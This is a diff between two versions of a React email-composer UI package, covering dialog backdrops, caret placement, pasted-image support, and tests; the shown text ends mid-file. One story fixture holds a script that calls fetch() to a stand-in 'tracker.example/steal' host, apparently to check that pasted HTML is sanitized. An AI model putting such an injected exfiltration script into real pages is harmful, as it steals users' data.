@remit/ui 0.0.108 → 0.0.110
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/components/compose-action-bar.render.test.ts +7 -5
- package/src/components/compose-action-bar.stories.tsx +36 -19
- package/src/components/compose-action-bar.tsx +31 -23
- package/src/components/compose-body-skeleton.tsx +10 -0
- package/src/components/compose-body.stories.tsx +66 -1
- package/src/components/compose-body.tsx +11 -6
- package/src/components/compose-header.stories.tsx +27 -1
- package/src/components/compose-header.tsx +18 -6
- package/src/components/compose-language-chip.stories.tsx +35 -1
- package/src/components/compose-language-chip.tsx +20 -2
- package/src/components/compose-smtp-missing-banner.tsx +15 -3
- package/src/components/confirm-dialog.tsx +5 -9
- package/src/components/dialog-backdrop.tsx +30 -0
- package/src/components/dialog.tsx +2 -6
- package/src/components/plain-text-editor.mount.test.ts +4 -4
- package/src/components/plain-text-editor.stories.tsx +1 -0
- package/src/components/plain-text-editor.tsx +20 -14
- package/src/components/rich-text-editor.stories.tsx +54 -0
- package/src/components/rich-text-editor.tsx +20 -8
- package/src/components/rich-text-formatting.test.ts +3 -2
- package/src/components/rich-text-image-node.test.ts +157 -0
- package/src/components/rich-text-image-node.ts +124 -0
- package/src/components/rich-text-nodes.ts +5 -1
- package/src/components/rich-text-paste.test.ts +48 -0
- package/src/components/rich-text-value.ts +6 -0
- package/src/index.ts +7 -0
- package/src/lib/adopted-html.test.ts +23 -0
- package/src/lib/adopted-html.ts +16 -1
- package/src/rich-text.ts +1 -0
|
@@ -1,5 +1,6 @@
|
|
|
1
1
|
import { useCallback, useEffect, useRef } from "react";
|
|
2
2
|
import { cn } from "../lib/cn.js";
|
|
3
|
+
import { DialogBackdrop } from "./dialog-backdrop.js";
|
|
3
4
|
|
|
4
5
|
export interface ConfirmDialogProps {
|
|
5
6
|
isOpen: boolean;
|
|
@@ -80,13 +81,10 @@ export const ConfirmDialog = ({
|
|
|
80
81
|
// confirmation is the decision blocking whatever is under it, and a drawer
|
|
81
82
|
// portalled to the body at the same level would cover it.
|
|
82
83
|
<div className="fixed inset-0 z-[60] flex items-center justify-center">
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
className="absolute inset-0 bg-canvas/80 backdrop-blur-sm"
|
|
88
|
-
aria-hidden="true"
|
|
89
|
-
onClick={onCancel}
|
|
84
|
+
<DialogBackdrop
|
|
85
|
+
label="Dismiss confirmation"
|
|
86
|
+
onDismiss={onCancel}
|
|
87
|
+
className="backdrop-blur-sm"
|
|
90
88
|
/>
|
|
91
89
|
|
|
92
90
|
{/* Dialog */}
|
|
@@ -99,8 +97,6 @@ export const ConfirmDialog = ({
|
|
|
99
97
|
"bg-surface border border-line rounded-sm shadow-lg",
|
|
100
98
|
"p-6",
|
|
101
99
|
)}
|
|
102
|
-
onClick={(e) => e.stopPropagation()}
|
|
103
|
-
onKeyDown={(e) => e.stopPropagation()}
|
|
104
100
|
>
|
|
105
101
|
<h2 className="text-lg font-semibold">{title}</h2>
|
|
106
102
|
{description && (
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
import { cn } from "../lib/cn.js";
|
|
2
|
+
|
|
3
|
+
export interface DialogBackdropProps {
|
|
4
|
+
/** Names the dismissal to assistive technology, e.g. `"Close"`. */
|
|
5
|
+
label: string;
|
|
6
|
+
onDismiss: () => void;
|
|
7
|
+
className?: string;
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
/**
|
|
11
|
+
* The scrim behind a modal and the click-to-dismiss on it, in the shape
|
|
12
|
+
* `BottomSheet` already uses: a real button rather than a click handler on a
|
|
13
|
+
* div, out of the tab order because Escape and the dialog's own Close are the
|
|
14
|
+
* keyboard's way out. It sits as a sibling of the dialog card, never its
|
|
15
|
+
* ancestor, so a click on the card is not a click on the scrim and nothing has
|
|
16
|
+
* to stop propagation to survive.
|
|
17
|
+
*/
|
|
18
|
+
export const DialogBackdrop = ({
|
|
19
|
+
label,
|
|
20
|
+
onDismiss,
|
|
21
|
+
className,
|
|
22
|
+
}: DialogBackdropProps) => (
|
|
23
|
+
<button
|
|
24
|
+
type="button"
|
|
25
|
+
aria-label={label}
|
|
26
|
+
tabIndex={-1}
|
|
27
|
+
onClick={onDismiss}
|
|
28
|
+
className={cn("absolute inset-0 bg-canvas/80", className)}
|
|
29
|
+
/>
|
|
30
|
+
);
|
|
@@ -1,5 +1,6 @@
|
|
|
1
1
|
import { type ReactNode, useCallback, useEffect, useRef } from "react";
|
|
2
2
|
import { cn } from "../lib/cn.js";
|
|
3
|
+
import { DialogBackdrop } from "./dialog-backdrop.js";
|
|
3
4
|
|
|
4
5
|
export interface DialogProps {
|
|
5
6
|
open: boolean;
|
|
@@ -64,7 +65,6 @@ export function Dialog({
|
|
|
64
65
|
const isRight = anchor === "right";
|
|
65
66
|
|
|
66
67
|
return (
|
|
67
|
-
// biome-ignore lint/a11y/noStaticElementInteractions: outer overlay closes dialog on click; role=presentation lets inner role=dialog own the AT semantics
|
|
68
68
|
<div
|
|
69
69
|
className={cn(
|
|
70
70
|
"fixed inset-0 z-50 flex",
|
|
@@ -74,10 +74,8 @@ export function Dialog({
|
|
|
74
74
|
? "items-stretch justify-end"
|
|
75
75
|
: "items-center justify-center px-4",
|
|
76
76
|
)}
|
|
77
|
-
role="presentation"
|
|
78
|
-
onClick={onClose}
|
|
79
77
|
>
|
|
80
|
-
<
|
|
78
|
+
<DialogBackdrop label="Dismiss dialog" onDismiss={onClose} />
|
|
81
79
|
<div
|
|
82
80
|
ref={dialogRef}
|
|
83
81
|
role="dialog"
|
|
@@ -94,8 +92,6 @@ export function Dialog({
|
|
|
94
92
|
: "w-full max-w-lg rounded-md border",
|
|
95
93
|
className,
|
|
96
94
|
)}
|
|
97
|
-
onClick={(e) => e.stopPropagation()}
|
|
98
|
-
onKeyDown={(e) => e.stopPropagation()}
|
|
99
95
|
>
|
|
100
96
|
<h2 id="dialog-title" className="sr-only">
|
|
101
97
|
{title}
|
|
@@ -121,7 +121,7 @@ const mount = async (
|
|
|
121
121
|
initial = "",
|
|
122
122
|
extra: {
|
|
123
123
|
onSubmit?: () => void;
|
|
124
|
-
|
|
124
|
+
initialCaret?: "start" | "end";
|
|
125
125
|
trailing?: boolean;
|
|
126
126
|
} = {},
|
|
127
127
|
): Promise<{ latest: () => string }> => {
|
|
@@ -135,7 +135,7 @@ const mount = async (
|
|
|
135
135
|
render();
|
|
136
136
|
},
|
|
137
137
|
onSubmit: extra.onSubmit,
|
|
138
|
-
|
|
138
|
+
initialCaret: extra.initialCaret,
|
|
139
139
|
trailing: extra.trailing
|
|
140
140
|
? createElement(ComposeModeToggle, {
|
|
141
141
|
mode: "plain",
|
|
@@ -157,7 +157,7 @@ describe("PlainTextEditor", () => {
|
|
|
157
157
|
await mount();
|
|
158
158
|
|
|
159
159
|
assert.equal(container.querySelectorAll("button").length, 0);
|
|
160
|
-
assert.match(container.textContent ?? "", /
|
|
160
|
+
assert.match(container.textContent ?? "", /Markdown/);
|
|
161
161
|
});
|
|
162
162
|
|
|
163
163
|
it("inserts a pasted web page as Markdown", async () => {
|
|
@@ -191,7 +191,7 @@ describe("PlainTextEditor", () => {
|
|
|
191
191
|
});
|
|
192
192
|
|
|
193
193
|
it("takes focus with the caret at the end when it arrives on a switch", async () => {
|
|
194
|
-
await mount("Everything written so far.", {
|
|
194
|
+
await mount("Everything written so far.", { initialCaret: "end" });
|
|
195
195
|
|
|
196
196
|
await act(async () => {
|
|
197
197
|
await new Promise((resolve) => setTimeout(resolve, 5));
|
|
@@ -9,13 +9,17 @@ import {
|
|
|
9
9
|
} from "react";
|
|
10
10
|
import { Banner } from "./banner.js";
|
|
11
11
|
import { htmlToMarkdown } from "./rich-text-document.js";
|
|
12
|
+
import type { ComposeCaret } from "./rich-text-value.js";
|
|
12
13
|
|
|
13
14
|
export interface PlainTextEditorProps {
|
|
14
15
|
value: string;
|
|
15
16
|
onChange: (text: string) => void;
|
|
16
17
|
onSubmit?: () => void;
|
|
17
|
-
/**
|
|
18
|
-
|
|
18
|
+
/**
|
|
19
|
+
* Where the caret lands when the surface takes focus on mount. Absent, it
|
|
20
|
+
* does not take focus.
|
|
21
|
+
*/
|
|
22
|
+
initialCaret?: ComposeCaret;
|
|
19
23
|
placeholder?: string;
|
|
20
24
|
ariaLabel?: string;
|
|
21
25
|
/** Pinned to the right of the toolbar strip. The mode toggle rides here. */
|
|
@@ -60,7 +64,7 @@ export const PlainTextEditor = ({
|
|
|
60
64
|
value,
|
|
61
65
|
onChange,
|
|
62
66
|
onSubmit,
|
|
63
|
-
|
|
67
|
+
initialCaret,
|
|
64
68
|
placeholder = "Write your message…",
|
|
65
69
|
ariaLabel = "Message body",
|
|
66
70
|
trailing,
|
|
@@ -87,16 +91,16 @@ export const PlainTextEditor = ({
|
|
|
87
91
|
}, [value]);
|
|
88
92
|
|
|
89
93
|
useEffect(() => {
|
|
90
|
-
if (!
|
|
94
|
+
if (!initialCaret) return;
|
|
91
95
|
const textarea = textareaRef.current;
|
|
92
96
|
if (!textarea) return;
|
|
93
97
|
const timer = setTimeout(() => {
|
|
94
98
|
textarea.focus();
|
|
95
|
-
const
|
|
96
|
-
textarea.setSelectionRange(
|
|
99
|
+
const at = initialCaret === "start" ? 0 : textarea.value.length;
|
|
100
|
+
textarea.setSelectionRange(at, at);
|
|
97
101
|
}, 0);
|
|
98
102
|
return () => clearTimeout(timer);
|
|
99
|
-
}, [
|
|
103
|
+
}, [initialCaret]);
|
|
100
104
|
|
|
101
105
|
const handleKeyDown = (event: KeyboardEvent<HTMLTextAreaElement>) => {
|
|
102
106
|
// `Shift` on the paste keystroke selects the text flavour, matching Gmail
|
|
@@ -144,9 +148,11 @@ export const PlainTextEditor = ({
|
|
|
144
148
|
<div className="flex items-center gap-2 px-3 py-1">
|
|
145
149
|
{/* `aria-pressed` on the toggle conveys the mode, not the fact that
|
|
146
150
|
Markdown syntax is read here, so this line is the only way either
|
|
147
|
-
a screen reader or someone who typed `## ` learns it.
|
|
151
|
+
a screen reader or someone who typed `## ` learns it. It does not
|
|
152
|
+
repeat the toggle's own words back at it from the other end of the
|
|
153
|
+
same strip. */}
|
|
148
154
|
<span className="min-w-0 truncate py-2 text-xs text-fg-muted">
|
|
149
|
-
|
|
155
|
+
Markdown
|
|
150
156
|
</span>
|
|
151
157
|
{trailing && (
|
|
152
158
|
<div className="ml-auto flex shrink-0 items-center gap-1">
|
|
@@ -168,9 +174,10 @@ export const PlainTextEditor = ({
|
|
|
168
174
|
{/* 16px, not the editor's `text-sm`: iOS Safari zooms the viewport when a
|
|
169
175
|
form control under 16px takes focus and never zooms back, and
|
|
170
176
|
contenteditable is exempt — so `text-sm` would be a regression
|
|
171
|
-
exclusive to plain mode. Monospace
|
|
172
|
-
|
|
173
|
-
|
|
177
|
+
exclusive to plain mode. Monospace keeps a pipe table aligned while it
|
|
178
|
+
fits. It soft-wraps: prose is what most plain messages are, and a
|
|
179
|
+
message whose every paragraph runs off the right edge cannot be read
|
|
180
|
+
back at all, which is the worse of the two failures at 390. */}
|
|
174
181
|
<textarea
|
|
175
182
|
ref={textareaRef}
|
|
176
183
|
value={value}
|
|
@@ -181,9 +188,8 @@ export const PlainTextEditor = ({
|
|
|
181
188
|
aria-label={ariaLabel}
|
|
182
189
|
placeholder={placeholder}
|
|
183
190
|
data-testid="compose-body-plain"
|
|
184
|
-
wrap="off"
|
|
185
191
|
spellCheck
|
|
186
|
-
className="w-full shrink-0 grow resize-none
|
|
192
|
+
className="w-full shrink-0 grow resize-none whitespace-pre-wrap break-words bg-canvas px-3 py-2 font-mono text-base text-fg outline-none placeholder:text-fg-subtle"
|
|
187
193
|
/>
|
|
188
194
|
</div>
|
|
189
195
|
);
|
|
@@ -70,6 +70,25 @@ const CLIPBOARD_HTML = [
|
|
|
70
70
|
'<script>fetch("https://tracker.example/steal")</script>',
|
|
71
71
|
].join("");
|
|
72
72
|
|
|
73
|
+
const MARK =
|
|
74
|
+
"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNDAiIGhlaWdodD0iMTIwIj48cmVjdCB3aWR0aD0iMjQwIiBoZWlnaHQ9IjEyMCIgcng9IjEyIiBmaWxsPSIjMzc4MGY2Ii8+PGNpcmNsZSBjeD0iNjAiIGN5PSI2MCIgcj0iMzIiIGZpbGw9IiNmZmYiLz48L3N2Zz4=";
|
|
75
|
+
|
|
76
|
+
const WIDE_SHOT =
|
|
77
|
+
"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNjAwIiBoZWlnaHQ9IjQwMCI+PHJlY3Qgd2lkdGg9IjE2MDAiIGhlaWdodD0iNDAwIiBmaWxsPSIjZTJlOGYwIi8+PHRleHQgeD0iNDAiIHk9IjIyMCIgZm9udC1mYW1pbHk9InNhbnMtc2VyaWYiIGZvbnQtc2l6ZT0iOTYiIGZpbGw9IiMzMzQxNTUiPjE2MDAgd2lkZTwvdGV4dD48L3N2Zz4=";
|
|
78
|
+
|
|
79
|
+
/**
|
|
80
|
+
* A clipboard carrying pictures, which is what a screenshot pasted out of a
|
|
81
|
+
* graphics app arrives as. The second is 1600 wide — four times the room the
|
|
82
|
+
* composer has for it.
|
|
83
|
+
*/
|
|
84
|
+
const CLIPBOARD_WITH_IMAGES = [
|
|
85
|
+
"<p>The new mark:</p>",
|
|
86
|
+
`<p><img src="${MARK}" alt="The mark"></p>`,
|
|
87
|
+
"<p>And the header it sits in:</p>",
|
|
88
|
+
`<p><img src="${WIDE_SHOT}" alt="The header, 1600 wide"></p>`,
|
|
89
|
+
"<p>Let me know which one reads better.</p>",
|
|
90
|
+
].join("");
|
|
91
|
+
|
|
73
92
|
export const Empty: Story = {
|
|
74
93
|
name: "Empty",
|
|
75
94
|
args: {},
|
|
@@ -90,6 +109,40 @@ export const PasteResult: Story = {
|
|
|
90
109
|
args: { initialHtml: sanitizeAdoptedHtml(CLIPBOARD_HTML) },
|
|
91
110
|
};
|
|
92
111
|
|
|
112
|
+
/**
|
|
113
|
+
* The pictures are in the document rather than gone from it (#684), and the
|
|
114
|
+
* oversized one is drawn at the width the composer has rather than pushing the
|
|
115
|
+
* message sideways. Whether a `data:` image survives the trip to a given
|
|
116
|
+
* recipient is a separate question, and #679 is where it is answered.
|
|
117
|
+
*/
|
|
118
|
+
export const PastedImages: Story = {
|
|
119
|
+
name: "After pasting images",
|
|
120
|
+
args: { initialHtml: sanitizeAdoptedHtml(CLIPBOARD_WITH_IMAGES) },
|
|
121
|
+
play: async ({ canvasElement }) => {
|
|
122
|
+
const editable = canvasElement.querySelector<HTMLElement>(
|
|
123
|
+
"[data-testid=compose-body]",
|
|
124
|
+
);
|
|
125
|
+
if (!editable) throw new Error("the editor is not mounted");
|
|
126
|
+
|
|
127
|
+
const images = [...editable.querySelectorAll("img")];
|
|
128
|
+
await expect(images).toHaveLength(2);
|
|
129
|
+
await expect(images[0]).toHaveAttribute("alt", "The mark");
|
|
130
|
+
|
|
131
|
+
// A width read before the picture decodes is 0, and 0 is under every
|
|
132
|
+
// bound this would like to assert.
|
|
133
|
+
await waitFor(() =>
|
|
134
|
+
expect(images.every((image) => image.naturalWidth > 0)).toBe(true),
|
|
135
|
+
);
|
|
136
|
+
await expect(images[1].naturalWidth).toBe(1600);
|
|
137
|
+
for (const image of images) {
|
|
138
|
+
await expect(image.getBoundingClientRect().width).toBeGreaterThan(0);
|
|
139
|
+
await expect(image.getBoundingClientRect().width).toBeLessThanOrEqual(
|
|
140
|
+
editable.clientWidth,
|
|
141
|
+
);
|
|
142
|
+
}
|
|
143
|
+
},
|
|
144
|
+
};
|
|
145
|
+
|
|
93
146
|
/**
|
|
94
147
|
* A short message leaves most of the body region empty. That region belongs to
|
|
95
148
|
* the document: the point far below the last line is the editable, and a click
|
|
@@ -134,6 +187,7 @@ const PinnedControls = () => {
|
|
|
134
187
|
<ComposeLanguageChip
|
|
135
188
|
language={language}
|
|
136
189
|
languages={["nl", "en", "de"]}
|
|
190
|
+
source={language === "nl" ? "detected" : "manual"}
|
|
137
191
|
onSelect={setLanguage}
|
|
138
192
|
/>
|
|
139
193
|
<ComposeModeToggle
|
|
@@ -32,7 +32,7 @@ import type {
|
|
|
32
32
|
SpellProvider,
|
|
33
33
|
} from "./rich-text-spellcheck.js";
|
|
34
34
|
import { RichTextToolbar } from "./rich-text-toolbar.js";
|
|
35
|
-
import type { RichTextValue } from "./rich-text-value.js";
|
|
35
|
+
import type { ComposeCaret, RichTextValue } from "./rich-text-value.js";
|
|
36
36
|
|
|
37
37
|
export interface RichTextEditorProps {
|
|
38
38
|
/**
|
|
@@ -42,7 +42,13 @@ export interface RichTextEditorProps {
|
|
|
42
42
|
initialHtml?: string;
|
|
43
43
|
onChange?: (value: RichTextValue) => void;
|
|
44
44
|
onSubmit?: () => void;
|
|
45
|
-
|
|
45
|
+
/**
|
|
46
|
+
* Where the caret lands when the surface takes focus on mount. Absent, it
|
|
47
|
+
* does not take focus. A message opens at the start, because a signature is
|
|
48
|
+
* already in the document and typing belongs above it; a surface arriving
|
|
49
|
+
* from a mode switch opens at the end, where the writing stopped.
|
|
50
|
+
*/
|
|
51
|
+
initialCaret?: ComposeCaret;
|
|
46
52
|
placeholder?: string;
|
|
47
53
|
ariaLabel?: string;
|
|
48
54
|
/** Pinned to the right of the toolbar strip. The mode toggle rides here. */
|
|
@@ -433,14 +439,20 @@ const SpellcheckPlugin = ({
|
|
|
433
439
|
return null;
|
|
434
440
|
};
|
|
435
441
|
|
|
436
|
-
const AutoFocus = ({
|
|
442
|
+
const AutoFocus = ({ caret }: { caret?: ComposeCaret }) => {
|
|
437
443
|
const [editor] = useLexicalComposerContext();
|
|
438
444
|
|
|
439
445
|
useEffect(() => {
|
|
440
|
-
if (!
|
|
441
|
-
const timer = setTimeout(
|
|
446
|
+
if (!caret) return;
|
|
447
|
+
const timer = setTimeout(
|
|
448
|
+
() =>
|
|
449
|
+
editor.focus(undefined, {
|
|
450
|
+
defaultSelection: caret === "start" ? "rootStart" : "rootEnd",
|
|
451
|
+
}),
|
|
452
|
+
0,
|
|
453
|
+
);
|
|
442
454
|
return () => clearTimeout(timer);
|
|
443
|
-
}, [editor,
|
|
455
|
+
}, [editor, caret]);
|
|
444
456
|
|
|
445
457
|
return null;
|
|
446
458
|
};
|
|
@@ -458,7 +470,7 @@ export const RichTextEditor = ({
|
|
|
458
470
|
initialHtml,
|
|
459
471
|
onChange,
|
|
460
472
|
onSubmit,
|
|
461
|
-
|
|
473
|
+
initialCaret,
|
|
462
474
|
placeholder = "Write your message…",
|
|
463
475
|
ariaLabel = "Message body",
|
|
464
476
|
trailing,
|
|
@@ -523,7 +535,7 @@ export const RichTextEditor = ({
|
|
|
523
535
|
<LinkPlugin />
|
|
524
536
|
<TablePlugin />
|
|
525
537
|
<PastePlugin />
|
|
526
|
-
<AutoFocus
|
|
538
|
+
<AutoFocus caret={initialCaret} />
|
|
527
539
|
{onChange && <ChangePlugin onChange={onChange} />}
|
|
528
540
|
{spellcheck && lang ? (
|
|
529
541
|
<SpellcheckPlugin
|
|
@@ -50,9 +50,10 @@ const ROWS: Row[] = [
|
|
|
50
50
|
warns: false,
|
|
51
51
|
},
|
|
52
52
|
{
|
|
53
|
-
what: "an image, which
|
|
53
|
+
what: "an image, which plain text can only name",
|
|
54
54
|
html: '<p>Chart: <img src="https://example.com/chart.png" alt="chart"></p>',
|
|
55
|
-
warns:
|
|
55
|
+
warns: true,
|
|
56
|
+
holds: ["image"],
|
|
56
57
|
},
|
|
57
58
|
{
|
|
58
59
|
what: "an underlined word",
|
|
@@ -0,0 +1,157 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* #684: the image node the composer registers, driven the way the editor drives
|
|
3
|
+
* it — mounted on a real root element, so what is asserted is the picture the
|
|
4
|
+
* writer sees, and reopened from its own serialization, so it is the draft that
|
|
5
|
+
* comes back rather than the document that was saved.
|
|
6
|
+
*/
|
|
7
|
+
import assert from "node:assert/strict";
|
|
8
|
+
import { before, describe, it } from "node:test";
|
|
9
|
+
import type { JSDOM } from "jsdom";
|
|
10
|
+
import type { ElementNode, LexicalEditor } from "lexical";
|
|
11
|
+
import type { ImageNode as ImageNodeClass } from "./rich-text-image-node.js";
|
|
12
|
+
|
|
13
|
+
const LOGO = "https://example.com/logo.png";
|
|
14
|
+
const PIXEL =
|
|
15
|
+
"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7";
|
|
16
|
+
const PASTED = `<p>Chart: <img src="${LOGO}" alt="The logo"></p>`;
|
|
17
|
+
|
|
18
|
+
let openEditor: (html: string) => LexicalEditor;
|
|
19
|
+
let imageOf: (editor: LexicalEditor) => HTMLImageElement;
|
|
20
|
+
let $theImage: () => ImageNodeClass;
|
|
21
|
+
let readHtml: (editor: LexicalEditor) => string;
|
|
22
|
+
let readText: (editor: LexicalEditor) => string;
|
|
23
|
+
|
|
24
|
+
before(async () => {
|
|
25
|
+
const { JSDOM: JSDOMCtor } = await import("jsdom");
|
|
26
|
+
const dom: JSDOM = new JSDOMCtor(
|
|
27
|
+
"<!doctype html><html><body></body></html>",
|
|
28
|
+
{ url: "http://localhost/", pretendToBeVisual: true },
|
|
29
|
+
);
|
|
30
|
+
globalThis.window = dom.window as unknown as typeof globalThis.window;
|
|
31
|
+
globalThis.document = dom.window.document;
|
|
32
|
+
globalThis.DOMParser = dom.window.DOMParser;
|
|
33
|
+
globalThis.HTMLElement = dom.window.HTMLElement;
|
|
34
|
+
globalThis.Element = dom.window.Element;
|
|
35
|
+
globalThis.Node = dom.window.Node;
|
|
36
|
+
globalThis.MutationObserver = dom.window.MutationObserver;
|
|
37
|
+
globalThis.Range = dom.window.Range;
|
|
38
|
+
globalThis.getComputedStyle = dom.window.getComputedStyle.bind(dom.window);
|
|
39
|
+
|
|
40
|
+
const { $getRoot, $insertNodes, $isElementNode, createEditor } = await import(
|
|
41
|
+
"lexical"
|
|
42
|
+
);
|
|
43
|
+
const { $adoptHtml, $readRichText } = await import("./rich-text-document.js");
|
|
44
|
+
const { ImageNode } = await import("./rich-text-image-node.js");
|
|
45
|
+
const { RICH_TEXT_NODES, richTextTheme } = await import(
|
|
46
|
+
"./rich-text-nodes.js"
|
|
47
|
+
);
|
|
48
|
+
|
|
49
|
+
openEditor = (html: string) => {
|
|
50
|
+
const editor: LexicalEditor = createEditor({
|
|
51
|
+
namespace: "test",
|
|
52
|
+
nodes: [...RICH_TEXT_NODES],
|
|
53
|
+
onError: (error) => {
|
|
54
|
+
throw error;
|
|
55
|
+
},
|
|
56
|
+
theme: richTextTheme,
|
|
57
|
+
});
|
|
58
|
+
const root = document.createElement("div");
|
|
59
|
+
root.contentEditable = "true";
|
|
60
|
+
document.body.appendChild(root);
|
|
61
|
+
editor.setRootElement(root);
|
|
62
|
+
if (html !== "")
|
|
63
|
+
editor.update(
|
|
64
|
+
() => {
|
|
65
|
+
$getRoot().clear();
|
|
66
|
+
$getRoot().select();
|
|
67
|
+
$insertNodes($adoptHtml(editor, html));
|
|
68
|
+
},
|
|
69
|
+
{ discrete: true },
|
|
70
|
+
);
|
|
71
|
+
return editor;
|
|
72
|
+
};
|
|
73
|
+
|
|
74
|
+
imageOf = (editor: LexicalEditor) => {
|
|
75
|
+
const image = editor.getRootElement()?.querySelector("img");
|
|
76
|
+
if (!image) throw new Error("the editor is showing no image");
|
|
77
|
+
return image;
|
|
78
|
+
};
|
|
79
|
+
|
|
80
|
+
$theImage = () => {
|
|
81
|
+
const found: ImageNodeClass[] = [];
|
|
82
|
+
const visit = (node: ElementNode) => {
|
|
83
|
+
for (const child of node.getChildren()) {
|
|
84
|
+
if (child instanceof ImageNode) found.push(child);
|
|
85
|
+
if ($isElementNode(child)) visit(child);
|
|
86
|
+
}
|
|
87
|
+
};
|
|
88
|
+
visit($getRoot());
|
|
89
|
+
if (found.length !== 1)
|
|
90
|
+
throw new Error(`the document holds ${found.length} images`);
|
|
91
|
+
return found[0];
|
|
92
|
+
};
|
|
93
|
+
|
|
94
|
+
readHtml = (editor: LexicalEditor) =>
|
|
95
|
+
editor.read(() => $readRichText(editor)).html;
|
|
96
|
+
readText = (editor: LexicalEditor) =>
|
|
97
|
+
editor.read(() => $readRichText(editor)).text;
|
|
98
|
+
});
|
|
99
|
+
|
|
100
|
+
describe("the image the composer shows", () => {
|
|
101
|
+
it("draws the picture rather than a placeholder for it", () => {
|
|
102
|
+
const image = imageOf(openEditor(PASTED));
|
|
103
|
+
|
|
104
|
+
assert.equal(image.getAttribute("src"), LOGO);
|
|
105
|
+
assert.equal(image.getAttribute("alt"), "The logo");
|
|
106
|
+
assert.match(image.className, /max-w-full/);
|
|
107
|
+
});
|
|
108
|
+
|
|
109
|
+
it("stays on the line it was pasted into", () => {
|
|
110
|
+
const html = readHtml(openEditor(PASTED));
|
|
111
|
+
|
|
112
|
+
assert.match(html, /<p>Chart:\s*<img[^>]*><\/p>/);
|
|
113
|
+
});
|
|
114
|
+
|
|
115
|
+
it("leaves the text alternative to a reader who gets no picture", () => {
|
|
116
|
+
assert.match(readText(openEditor(PASTED)), /The logo/);
|
|
117
|
+
});
|
|
118
|
+
});
|
|
119
|
+
|
|
120
|
+
describe("editing a document that holds an image", () => {
|
|
121
|
+
it("repoints the picture already on the screen", () => {
|
|
122
|
+
const editor = openEditor(PASTED);
|
|
123
|
+
const before = imageOf(editor);
|
|
124
|
+
|
|
125
|
+
editor.update(() => $theImage().setSrc(PIXEL), { discrete: true });
|
|
126
|
+
|
|
127
|
+
const after = imageOf(editor);
|
|
128
|
+
assert.equal(after, before);
|
|
129
|
+
assert.equal(after.getAttribute("src"), PIXEL);
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
it("carries the rest of the image through the edit", () => {
|
|
133
|
+
const editor = openEditor(PASTED);
|
|
134
|
+
|
|
135
|
+
editor.update(() => $theImage().setAlt("A newer logo"), {
|
|
136
|
+
discrete: true,
|
|
137
|
+
});
|
|
138
|
+
|
|
139
|
+
const image = imageOf(editor);
|
|
140
|
+
assert.equal(image.getAttribute("alt"), "A newer logo");
|
|
141
|
+
assert.equal(image.getAttribute("src"), LOGO);
|
|
142
|
+
});
|
|
143
|
+
});
|
|
144
|
+
|
|
145
|
+
describe("a draft that held an image", () => {
|
|
146
|
+
it("reopens with the same picture in it", () => {
|
|
147
|
+
const saved = JSON.stringify(openEditor(PASTED).getEditorState().toJSON());
|
|
148
|
+
const reopened = openEditor("");
|
|
149
|
+
|
|
150
|
+
reopened.setEditorState(reopened.parseEditorState(saved));
|
|
151
|
+
|
|
152
|
+
const html = readHtml(reopened);
|
|
153
|
+
assert.ok(html.includes(`src="${LOGO}"`));
|
|
154
|
+
assert.match(html, /alt="The logo"/);
|
|
155
|
+
assert.match(html, /Chart:/);
|
|
156
|
+
});
|
|
157
|
+
});
|
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
import {
|
|
2
|
+
$applyNodeReplacement,
|
|
3
|
+
$getDocument,
|
|
4
|
+
addClassNamesToElement,
|
|
5
|
+
DecoratorNode,
|
|
6
|
+
type DOMConversionOutput,
|
|
7
|
+
type DOMExportOutput,
|
|
8
|
+
type EditorConfig,
|
|
9
|
+
type LexicalUpdateJSON,
|
|
10
|
+
type NodeKey,
|
|
11
|
+
type SerializedLexicalNode,
|
|
12
|
+
type Spread,
|
|
13
|
+
} from "lexical";
|
|
14
|
+
|
|
15
|
+
type SerializedImageNode = Spread<
|
|
16
|
+
{ src: string; alt: string },
|
|
17
|
+
SerializedLexicalNode
|
|
18
|
+
>;
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* Lexical ships no image node, so a pasted `<img>` mapped to nothing and the
|
|
22
|
+
* picture vanished between the clipboard and the message (#684). It carries
|
|
23
|
+
* `src` and `alt` and nothing else — the two attributes the paste profile
|
|
24
|
+
* admits — and renders as the image itself rather than as a placeholder, so
|
|
25
|
+
* what the composer shows is what the recipient gets.
|
|
26
|
+
*/
|
|
27
|
+
export class ImageNode extends DecoratorNode<null> {
|
|
28
|
+
/** @internal */
|
|
29
|
+
__src: string;
|
|
30
|
+
/** @internal */
|
|
31
|
+
__alt: string;
|
|
32
|
+
|
|
33
|
+
$config() {
|
|
34
|
+
return this.config("image", {
|
|
35
|
+
importDOM: {
|
|
36
|
+
img: () => ({ conversion: $convertImageElement, priority: 0 }),
|
|
37
|
+
},
|
|
38
|
+
});
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
constructor(src = "", alt = "", key?: NodeKey) {
|
|
42
|
+
super(key);
|
|
43
|
+
this.__src = src;
|
|
44
|
+
this.__alt = alt;
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
afterCloneFrom(prevNode: this): void {
|
|
48
|
+
super.afterCloneFrom(prevNode);
|
|
49
|
+
this.__src = prevNode.__src;
|
|
50
|
+
this.__alt = prevNode.__alt;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
createDOM(config: EditorConfig): HTMLImageElement {
|
|
54
|
+
const element = this.buildImage();
|
|
55
|
+
addClassNamesToElement(element, config.theme.image);
|
|
56
|
+
return element;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
updateDOM(prevNode: this, element: HTMLImageElement): boolean {
|
|
60
|
+
if (prevNode.__src !== this.__src) element.setAttribute("src", this.__src);
|
|
61
|
+
if (prevNode.__alt !== this.__alt) element.setAttribute("alt", this.__alt);
|
